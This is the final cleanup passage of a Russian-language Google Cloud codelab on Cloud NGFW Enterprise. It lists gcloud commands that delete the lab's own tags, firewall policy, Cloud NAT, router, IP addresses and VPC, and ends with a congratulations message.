export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Удалить ключ и значения тега:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Удалите сетевую политику и ассоциацию Cloud Firewall:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Удалить Cloud Router и Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Удалить зарезервированные IP-адреса:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Наконец, удалите подсеть и сеть VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Поздравляем!

Поздравляем, вы успешно завершили лабораторную работу Cloud NGFW Enterprise для инспекций Восток-Запад и Север-Юг.